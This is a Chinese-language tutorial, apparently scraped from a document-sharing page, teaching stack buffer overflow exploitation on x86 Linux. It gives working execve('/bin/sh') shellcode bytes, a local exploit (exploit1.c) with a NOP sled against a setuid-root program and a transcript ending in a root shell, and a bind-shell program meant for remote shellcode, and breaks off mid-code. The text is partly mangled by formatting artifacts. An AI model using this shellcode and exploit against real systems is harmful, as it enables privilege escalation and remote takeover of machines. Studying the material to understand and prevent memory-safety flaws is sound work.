资源描述
堆栈溢出技术从入门到精通 本讲的预备知识:一方面你应当了解 intel 汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分派方面 的基础知识,有关这方面的计算机书籍很多,我将只是简朴阐述原理,着重在应用。另一方面,你应当了解 linux,本讲中我们的例子将在 linux 上开发。1:一方面复习一下基础知识。从物理上讲,堆栈是就是一段连续分派的内存空间。在一个程序中,会声明各种变量。静态 全局变量是位于数据段并且在程序开始运营的时候被加载。而程序的动态的局部变量则分派 在堆栈里面。从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我 们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作 pushESP4,出栈的 操作是 pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。请牢牢记住这一点,由于这是堆栈溢出的基本理论依据。在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。假如函数有局部变量,接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被 丢失。但是不被清除。在函数返回的时候,弹出 EBP,恢复堆栈到函数调用的地址,弹出返回 地址到 EIP 以继续执行程序。在 C 语言程序中,参数的压栈顺序是反向的。比如 func(a,b,c)。在参数入栈的时候,是:先压 c,再压 b,最后 a.在取参数的时候,由于栈的先入后出,先取栈顶的 a,再取 b,最后取c。(PS:假如你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都 会具体的讨论堆栈,必须弄懂它,你才干进行下面的学习)2:好了,继续,让我们来看一看什么是堆栈溢出。2.1:运营时的堆栈分派 堆栈溢出就是不顾堆栈中分派的局部数据块大小,向该数据块写入了过多的数据,导致数据 越界。结果覆盖了老的堆栈数据。比如有下面一段程序:程序一:#include int main()char name8;printf(Please type your name:);gets(name);printf(Hello,%s!,name);return 0;编译并且执行,我们输入 ipxodi,就会输出 Hello,ipxodi!。程序运营中,堆栈是怎么操作的呢?在 main 函数开始运营的时候,堆栈里面将被依次放入返回地址,EBP。我们用 gcc-S 来获得汇编语言输出,可以看到 main 函数的开头部分相应如下语句:pushl%ebp movl%esp,%ebp subl$8,%esp 一方面他把 EBP 保存下来,然后 EBP 等于现在的 ESP,这样 EBP 就可以用来访问本函数的 局部变量。之后 ESP 减 8,就是堆栈向上增长 8 个字节,用来存放 name数组。现在堆栈 的布局如下:内存底部 内存顶部 name EBP ret -&name 栈顶部 堆栈底部 执行完 gets(name)之后,堆栈如下:内存底部 内存顶部 name EBP ret -ipxodi0&name 栈顶部 堆栈底部 最后,main 返回,弹出 ret 里的地址,赋值给 EIP,CPU 继续执行 EIP 所指向的指令。2.2:堆栈溢出 好,看起来一切顺利。我们再执行一次,输入 ipxodiAAAAAAAAAAAAAAA,执行完 gets(name)之后,堆栈如下:内存底部 内存顶部 name EBP ret -ipxodiAAAAAAAAAA.&name 栈顶部 堆栈底部 由于我们输入的 name 字符串太长,name 数组容纳不下,只好向内存顶部继续写 A。由于堆栈的生长方向与内存的生长方向相反,这些A覆盖了堆栈的 老的元素。如图 我们可以发现,EBP,ret 都已经被A覆盖了。在 main 返回的时候,就会把 AAAA的 ASCII 码:0 x41414141 作为返回地址,CPU 会试图执行 0 x41414141 处 的指令,结果出现错误。这就是一次堆栈溢出。3:如何运用堆栈溢出 我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串解决函数 (gets,strcpy 等等)没有对数组越界加以监视和限制,我们运用字符数组写 越界,覆盖堆栈中的老元素的值,就可以修改返回地址。在上面的例子中,这导致 CPU 去访问一个不存在的指令,结果犯错。事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。假如我们用一个实际存在指令地址来覆盖这个返回地址,CPU 就会转而执行我 们的指令。在 UINX 系统中,我们的指令可以执行一个 shell,这个 shell 将获得和被我们堆 栈溢出的程序相同的权限。假如这个程序是 setuid 的,那么我们就可以获得 root shell。下一讲将叙述如何书写一个 shell code。-如何书写一个 shell code 一:shellcode 基本算法分析 在程序中,执行一个 shell 的程序是这样写的:shellcode.c -#include void main()char*name2;name0=/bin/sh name1=NULL;execve(name0,name,NULL);-execve 函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为 该程序的 argvi(argvn-1=0)的指针数组作为第二个参数,以及(char*)0 作为 第三个参数。我们来看以看 execve 的汇编代码:nkl10$Content$nbsp;gcc-o shellcode-static shellcode.c nkl10$Content$nbsp;gdb shellcode (gdb)disassemble _execve Dump of assembler code for function _execve:0 x80002bc:pushl%ebp;0 x80002bd:movl%esp,%ebp ;上面是函数头。0 x80002bf:pushl%ebx ;保存 ebx 0 x80002c0:movl$0 xb,%eax ;eax=0 xb,eax 指明第几号系统调用。0 x80002c5:movl 0 x8(%ebp),%ebx ;ebp+8 是第一个参数/bin/sh0 0 x80002c8:movl 0 xc(%ebp),%ecx ;ebp+12 是第二个参数 name 数组的地址 0 x80002cb:movl 0 x10(%ebp),%edx ;ebp+16 是第三个参数空指针的地址。;name2-1内容为 NULL,用来存放返回值。0 x80002ce:int$0 x80 ;执行 0 xb 号系统调用(execve)0 x80002d0:movl%eax,%edx ;下面是返回值的解决就没有用了。0 x80002d2:testl%edx,%edx 0 x80002d4:jnl 0 x80002e6 0 x80002d6:negl%edx 0 x80002d8:pushl%edx 0 x80002d9:call 0 x8001a34 0 x80002de:popl%edx 0 x80002df:movl%edx,(%eax)0 x80002e1:movl$0 xffffffff,%eax 0 x80002e6:popl%ebx 0 x80002e7:movl%ebp,%esp 0 x80002e9:popl%ebp 0 x80002ea:ret 0 x80002eb:nop End of assembler dump.通过以上的分析,可以得到如下的精简指令算法:movl$execve 的系统调用号,%eax movl bin/sh0的地址,%ebx movl name 数组的地址,%ecx movl namen-1的地址,%edx int$0 x80;执行系统调用(execve)当 execve 执行成功后,程序 shellcode 就会退出,/bin/sh 将作为子进程继续执行。可是,假如我们的 execve 执行失败,(比如没有/bin/sh 这个文献),CPU 就会继续 执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个 exit()系统调 用,结束 shellcode.c 的执行。我们来看以看 exit(0)的汇编代码:(gdb)disassemble _exit Dump of assembler code for function _exit:0 x800034c:pushl%ebp 0 x800034d:movl%esp,%ebp 0 x800034f:pushl%ebx 0 x8000350:movl$0 x1,%eax;1 号系统调用 0 x8000355:movl 0 x8(%ebp),%ebx;ebx 为参数 0 0 x8000358:int$0 x80;引发系统调用 0 x800035a:movl 0 xfffffffc(%ebp),%ebx 0 x800035d:movl%ebp,%esp 0 x800035f:popl%ebp 0 x8000360:ret 0 x8000361:nop 0 x8000362:nop 0 x8000363:nop End of assembler dump.看来 exit(0)的汇编代码更加简朴:movl$0 x1,%eax;1 号系统调用 movl 0,%ebx;ebx 为 exit 的参数 0 int$0 x80;引发系统调用 那么总结一下,合成的汇编代码为:movl$execve 的系统调用号,%eax movl bin/sh0的地址,%ebx movl name 数组的地址,%ecx movl namen-1的地址,%edx int$0 x80;执行系统调用(execve)movl$0 x1,%eax;1 号系统调用 movl 0,%ebx;ebx 为 exit 的参数 0 int$0 x80;执行系统调用(exit)-二:实现一个 shellcode 好,我们来实现这个算法。一方面我们必须有一个字符串“/bin/sh”,还得有一个 name 数组。我们可以构造它们出来,可是,在 shellcode 中如何知道它们的地址呢?每一次 程序都是动态加载,字符串和 name 数组的地址都不是固定的。通过 JMP 和 call 的结合,黑客们巧妙的解决了这个问题。-jmp call 的偏移地址#2 bytes popl%esi#1 byte/popl 出来的是 string 的地址。movl%esi,array-offset(%esi)#3 bytes/在 string+8 处构造 name 数组,/name0放 string 的地址 movb$0 x0,nullbyteoffset(%esi)#4 bytes/string+7 处放 0 作为 string 的结 尾。movl$0 x0,null-offset(%esi)#7 bytes/name1放 0。movl$0 xb,%eax#5 bytes/eax=0 xb 是 execve 的 syscall 代码 。movl%esi,%ebx#2 bytes/ebx=string 的地址 leal array-offset,(%esi),%ecx#3 bytes/ecx=name 数组的开始地址 leal null-offset(%esi),%edx#3 bytes/edx=name1的地址 int$0 x80#2 bytes/int 0 x80 是 sys call movl$0 x1,%eax#5 bytes/eax=0 x1 是 exit 的 syscall 代码 movl$0 x0,%ebx#5 bytes/ebx=0 是 exit 的返回值 int$0 x80#2 bytes/int 0 x80 是 sys call call popl 的偏移地址#5 bytes/这里放 call,string 的地址就会 作 /为返回地址压栈。/bin/sh 字符串 -一方面使用 JMP 相对地址来跳转到 call,执行完 call 指令,字符串/bin/sh 的地址将作为 call 的返回地址压入堆栈。现在来到 popl esi,把刚刚压入栈中的字符串地址取出来,就获得了字符串的真实地址。然后,在字符串的第 8 个字节赋 0,作为串的结尾。后面 8 个字节,构造 name 数组(两个整数,八个字节)。我们可以写 shellcode 了。先写出汇编源程序。shellcodeasm.c -void main()_asm_(jmp 0 x2a#3 bytes popl%esi#1 byte movl%esi,0 x8(%esi)#3 bytes movb$0 x0,0 x7(%esi)#4 bytes movl$0 x0,0 xc(%esi)#7 bytes movl$0 xb,%eax#5 bytes movl%esi,%ebx#2 bytes leal 0 x8(%esi),%ecx#3 bytes leal 0 xc(%esi),%edx#3 bytes int$0 x80#2 bytes movl$0 x1,%eax#5 bytes movl$0 x0,%ebx#5 bytes int$0 x80#2 bytes call-0 x2f#5 bytes .string/bin/sh#8 bytes );-编译后,用 gdb 的 b/bx 地址命令可以得到十六进制的表达。下面,写出测试程序如下:(注意,这个 test 程序是测试 shellcode 的基本程序)test.c -char shellcode=xebx2ax5ex89x76x08xc6x46x07x00 xc7x46x0cx00 x00 x00 x00 xb8x0bx00 x00 x00 x89xf3x8dx4ex08x8dx56x0cxcdx80 xb8x01x00 x00 x00 xbbx00 x00 x00 x00 xcdx80 xe8xd1xffxff xffx2fx62x69x6ex2fx73x68x00 x89xecx5dxc3 void main()int*ret;ret=(int*)&ret+2;/ret 等于 main()的返回地址 /(2 是由于:有 pushl ebp,否则加 1 就可以了。)(*ret)=(int)shellcode;/修改 main()的返回地址为 shellcode 的开始地 址。-nkl10$Content$nbsp;gcc-o test test.c nkl10$Content$nbsp;./test$Content$nbsp;exit nkl10$Content$nbsp;-我们通过一个 shellcode 数组来存放 shellcode,当我们把程序(test.c)的返回地址 ret 设立成 shellcode 数组的开始地址时,程序在返回的时候就会去执行我们的 shellcode,从而我们得到了一个 shell。运营结果,得到了 bsh 的提醒符$,表白成功的开了一个 shell。这里有必要解释的是,我们把 shellcode 作为一个全局变量开在了数据段而不是作为 一段代码。是由于在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的代码中 movl%esi,0 x8(%esi)等语句都修改了代码的一部分,所以不能放在 代码段。这个 shellcode 可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关 键在于字符串数组的写越界。但是,gets,strcpy 等字符串函数在解决字符串的时候,以0 为字符串结尾。遇0 就结束了写操作。而我们的 shellcode 串中有大量的0 字符。因此,对于 gets(name)来说,上面的 shellcode 是不可行的。我们的 shellcode 是不能有0 字符 出现的。因此,有些指令需要修改一下:旧的指令 新的指令 -movb$0 x0,0 x7(%esi)xorl%eax,%eax molv$0 x0,0 xc(%esi)movb%eax,0 x7(%esi)movl%eax,0 xc(%esi)-movl$0 xb,%eax movb$0 xb,%al -movl$0 x1,%eax xorl%ebx,%ebx movl$0 x0,%ebx movl%ebx,%eax inc%eax -最后的 shellcode 为:-char shellcode=00 xebx1f/*jmp 0 x1f*/02 x5e/*popl%esi*/03 x89x76x08/*movl%esi,0 x8(%esi)*/06 x31xc0/*xorl%eax,%eax*/08 x88x46x07/*movb%eax,0 x7(%esi)*/0b x89x46x0c/*movl%eax,0 xc(%esi)*/0e xb0 x0b/*movb$0 xb,%al*/10 x89xf3/*movl%esi,%ebx*/12 x8dx4ex08/*leal 0 x8(%esi),%ecx*/15 x8dx56x0c/*leal 0 xc(%esi),%edx*/18 xcdx80/*int$0 x80*/1a x31xdb/*xorl%ebx,%ebx*/1c x89xd8/*movl%ebx,%eax*/1e x40/*inc%eax*/1f xcdx80/*int$0 x80*/21 xe8xdcxffxffxff/*call-0 x24*/26/bin/sh/*.string/bin/sh*/-三:运用堆栈溢出获得 shell 好了,现在我们已经制造了一次堆栈溢出,写好了一个 shellcode。准备工作都已经作完,我们把两者结合起来,就写出一个运用堆栈溢出获得 shell 的程序。overflow1.c -char shellcode=xebx1fx5ex89x76x08x31xc0 x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0cxcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/sh char large_string128;void main()char buffer96;int i;long*long_ptr=(long*)large_string;for(i=0;i 32;i+)*(long_ptr+i)=(int)buffer;for(i=0;i strlen(shellcode);i+)large_stringi=shellcodei;strcpy(buffer,large_string);-在执行完 strcpy 后,堆栈内容如下所示:内存底部 内存顶部 buffer EBP ret -SSS.SSSA A A A.A&buffer 栈顶部 堆栈底部 注:S 表达 shellcode。A 表达 shellcode 的地址。这样,在执行完 strcpy 后,overflow。c 将从 ret 取出 A 作为返回地址,从而执行了我们 的 shellcode。-运用堆栈溢出获得 shell 现在让我们进入最刺激的一讲,运用别人的程序的堆栈溢出获得 rootshell。我们 将面对 一个有 strcpy 堆栈溢出漏洞的程序,运用前面说过的方法来得到 shell。回想一下前面所讲,我们通过一个 shellcode 数组来存放 shellcode,运用程序中的 strcpy 函数,把 shellcode 放到了程序的堆栈之中;我们制造了数组越界,用 shellcode 的 开始地 址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的 shellcode,从而我们得到了一个 shell。当我们面对别人写的程序时,为了让他执行我们的 shellcode,同样必须作这两件 事:1:把我们的 shellcode 提供应他,让他可以访问 shellcode。2:修改他的返回地址为 shellcode 的入口地址。为了做到这两条,我们必须知道他的 strcpy(buffer,ourshellcode)中,buffer 的地址。由于当我们把 shellcode 提供应 strcpy 之后,buffer 的开始地址就是 shellcode 的开 始地址 ,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。我们知道,对于操作系统来说,一个 shell 下的每一个程序的堆栈段开始地址都是 相同的 。我们可以写一个程序,获得运营时的堆栈起始地址,这样,我们就知道了目的程 序堆栈 的开始地址。下面这个函数,用 eax 返回当前程序的堆栈指针。(所有 C 函数的返回值都放在 eax 寄存器 里面):-unsigned long get_sp(void)_asm_(movl%esp,%eax);-我们在知道了堆栈开始地址后,buffer 相对于堆栈开始地址的偏移,是他程序员自 己 写出来的程序决定的,我们不知道,只能靠猜测了。但是,一般的程序堆栈大约是 几 K 左右。所以,这个 buffer 与上面得到的堆栈地址,相差就在几 K 之间。显然猜地址这是一件很难的事情,从 0 试到 10K,会把人累死的。前面我们用来覆盖堆栈的溢出字符串为:SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 现在,为了提高命中率,我们对他进行如下改善:用来溢出的字符串变为:NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA 其中:N 为 NOP.NOP 指令意思是什么都不作,跳过一个 CPU 指令周期。在 intel 机器上,NOP 指令的机器码为 0 x90。S 为 shellcode。A 为我们猜测的 buffer 的地址。这样,A 猜大了也可以落在 N 上,并且最终会执行到 S.这个改善大大提高了猜测的命中率,有时几乎可以一次命中。:)好了,枯燥的算法分析完了,下面就是运用./vulnerable1 的堆栈溢出漏洞来得到 shell 的程序:exploit1.c -#include#include#define OFFSET 0#define RET_POSITION 1024#define RANGE 20#define NOP 0 x90 char shellcode=xebx1f/*jmp 0 x1f*/x5e/*popl%esi*/x89x76x08/*movl%esi,0 x8(%esi)*/x31xc0/*xorl%eax,%eax*/x88x46x07/*movb%eax,0 x7(%esi)*/x89x46x0c/*movl%eax,0 xc(%esi)*/xb0 x0b/*movb$0 xb,%al*/x89xf3/*movl%esi,%ebx*/x8dx4ex08/*leal 0 x8(%esi),%ecx*/x8dx56x0c/*leal 0 xc(%esi),%edx*/xcdx80/*int$0 x80*/x31xdb/*xorl%ebx,%ebx*/x89xd8/*movl%ebx,%eax*/x40/*inc%eax*/xcdx80/*int$0 x80*/xe8xdcxffxffxff/*call-0 x24*/bin/sh/*.string/bin/sh*/unsigned long get_sp(void)_asm_(movl%esp,%eax);main(int argc,char*argv)char buffRET_POSITION+RANGE+1,*ptr;long addr;unsigned long sp;int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;int i;if(argc1)offset=atoi(argv1);sp=get_sp();addr=sp-offset;for(i=0;ibsize;i+=4)*(long*)&(buffi)=addr;for(i=0;ibsize-RANGE*2-strlen(shellcode)-1;i+)buffi=NOP;ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;for(i=0;istrlen(shellcode);i+)*(ptr+)=shellcodei;buffbsize-1=0 /现在 buff 的内容为 /NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA0 printf(Jump to 0 x%08xn,addr);execl(./vulnerable1,vulnerable1,buff,0);-execl 用来执行目的程序./vulnerable1,buff 是我们精心制作的溢出字符串,作为./vulnerable1 的参数提供。以下是执行的结果:-nkl10$Content$nbsp;ls-l vulnerable1 -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*nkl10$Content$nbsp;ls-l exploit1 -rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*nkl10$Content$nbsp;./exploit1 Jump to 0 xbfffec64 Segmentation fault nkl10$Content$nbsp;./exploit1 500 Jump to 0 xbfffea70 bash#whoami root bash#-恭喜,恭喜,你获得了 root shell。下一讲,我们将进一步探讨 shellcode 的书写。我们将讨论一些很复杂的 shellcode。-远程堆栈溢出 我们用堆栈溢出袭击守护进程 daemon 时,原理和前面提到过的本地袭击是相同的。我们 必须提供应目的 daemon 一个溢出字符串,里面包含了 shellcode。希望敌人在复制 (或者 别的串解决操作)这个串的时候发生堆栈溢出,从而执行我们的 shellcode。普通的 shellcode 将启动一个子进程执行 sh,自己退出。对于我们这些远程的袭击 者来说 ,由于我们不在本地,这个 sh 我们并没有得到。因此,对于远程使用者,我们传过去的 shellcode 就必须承担起打开一个 socket,然后 listen 我们的连接,给我们一个远程 shell 的责任。如何开一个远程 shell 呢?我们先申请一个 socketfd,使用 30464(随便,多少都行 )作为 这个 socket 连接的端口,bind 他,然后在这个端口上等待连接 listen。当有连接进 来后,开一个子 shell,把连接的 clientfd 作为子 shell 的 stdin,stdout,stderr。这样,我们 远程的使用者就有了一个远程 shell(跟 telnet 同样啦)。下面就是这个算法的 C 实现:opensocket.c -1#include 2#include 3#include 4int soc,cli,soc_len;5struct sockaddr_in serv_addr;6struct sockaddr_in cli_addr;7int main()8 9 if(fork()=0)10 11 serv_addr.sin_family=AF_INET;12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);13 serv_addr.sin_port=htons(30464);14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);15 bind(soc,(struct sockaddr*)&serv_addr,sizeof(serv_addr);16 listen(soc,1);17 soc_len=sizeof(cli_addr);18 cli=accept(soc,(struct sockaddr*)&cli_addr,&soc_len);19 dup2(cli,0);20 dup2(cli,1);21 dup2(cli,2);22 execl(/bin/sh,sh,0);23 24 -第 9 行的 fork()函数创建了一个子进程,对于父进程 fork()的返回值是子进程的 pid,对于子进程,fork()的返回值是 0.本程序中,父进程执行了一个 fork 就退出了,子 进程 作为 socket 通信的执行者继续下面的操作。10 到 23 行都是子进程所作的事情。一方面调用 socket 获得一个文献描述符 soc,然后 调用 bind()绑定 30464 端口,接下来开始监听 listen().程序挂起在 accept 等待客户连接 。当有客户连接时,程序被唤醒,进行 accept,然后把自己的标准输入,标准输出,标准错误输出重定向到客户的文献描述符上,开一个子 sh,这样,子 shell 继承了 这个进程的文献描述符,对于客户来说,就是得到了一个远程 shell。看懂了吗?嗯,对,这是一个比较简朴的 socket 程序,很好理解的。好,我们使用 gdb 来反编译上面的程序:nkl10$Content$nbsp;gcc-o opensocket-static opensocket.c nkl10$Content$nbsp;gdb opensocket GNU gdb 4.17 Copyright 1998 Free Software Foundation,Inc.GDB is free software,covered by the GNU General Public License,and you are welcome to change it and/or distribute copies of it under certain conditions.Type show copying to see the conditions.There is absolutely no warranty for GDB.Type show warranty for details.This GDB was configured as i386-redhat-linux.(gdb)disassemble fork Dump of assembler code for function fork:0 x804ca90:movl$0 x2,%eax 0 x804ca95:int$0 x80 0 x804ca97:cmpl$0 xfffff001,%eax 0 x804ca9c:jae 0 x804cdc0 0 x804caa2:ret 0 x804caa3:nop 0 x804caa4:nop 0 x804caa5:nop 0 x804caa6:nop 0 x804caa7:nop 0 x804caa8:nop 0 x804caa9:nop 0 x804caaa:nop 0 x804caab:nop 0 x804caac:nop 0 x804caad:nop 0 x804caae:nop 0 x804caaf:nop End of assembler dump.(gdb)disassemble socket Dump of assembler code for function socket:0 x804cda0:movl%ebx,%edx 0 x804cda2:movl$0 x66,%eax 0 x804cda7:movl$0 x1,%ebx 0 x804cdac:leal 0 x4(%esp,1),%ecx 0 x804cdb0:int$0 x80 0 x804cdb2:movl%edx,%ebx 0 x804cdb4:cmpl$0 xffffff83,%eax 0 x804cdb7:jae 0 x804cdc0 0 x804cdbd:ret 0 x804cdbe:nop 0 x804cdbf:nop End of assembler dump.(gdb)disassemble bind Dump of assembler code for function bind:0 x804cd60:movl%ebx,%edx 0 x804cd62:movl$0 x66,%eax 0 x804cd67:movl$0 x2,%ebx 0 x804cd6c:leal 0 x4(%esp,1),%ecx 0 x804cd70:int$0 x80 0 x804cd72:movl%edx,%ebx 0 x804cd74:cmpl$0 xffffff83,%eax 0 x804cd77:jae 0 x804cdc0 0 x804cd7d:ret 0 x804cd7e:nop 0 x804cd7f:nop End of assembler dump.(gdb)disassemble listen Dump of assembler code for function listen:0 x804cd80:movl%ebx,%edx 0 x804cd82:movl$0 x66,%eax 0 x804cd87:movl$0 x4,%ebx 0 x804cd8c:leal 0 x4(%esp,1),%ecx 0 x804cd90:int$0 x80 0 x804cd92:movl%edx,%ebx 0 x804cd94:cmpl$0 xffffff83,%eax 0 x804cd97:jae 0 x804cdc0 0 x804cd9d:ret 0 x804cd9e:nop 0 x804cd9f:nop End of assembler dump.(gdb)disassemble accept Dump of assembler code for function _accept:0 x804cd40:movl%ebx,%edx 0 x804cd42:movl$0 x66,%eax 0 x804cd47:movl$0 x5,%ebx 0 x804cd4c:leal 0 x4(%esp,1),%ecx 0 x804cd50:int$0 x80 0 x804cd52:movl%edx,%ebx 0 x804cd54:cmpl$0 xffffff83,%eax 0 x804cd57:jae 0 x804cdc0 0 x804cd5d:ret 0 x804cd5e:nop 0 x804cd5f:nop End of assembler dump.(gdb)disassemble dup2 Dump of assembler code for function dup2:0 x804cbe0:movl%ebx,%edx 0 x804cbe2:movl 0 x8(%esp,1),%ecx 0 x804cbe6:movl 0 x4(%esp,1),%ebx 0 x804cbea:movl$0 x3f,%eax 0 x804cbef:int$0 x80 0 x804cbf1:movl%edx,%ebx 0 x804cbf3:cmpl$0 xfffff001,%eax 0 x804cbf8:jae 0 x804cdc0 0 x804cbfe:ret 0 x804cbff:nop End of assembler dump.现在可以写上面 c 代码的汇编语句了。fork()的汇编代码 -char code=x31xc0/*xorl%eax,
展开阅读全文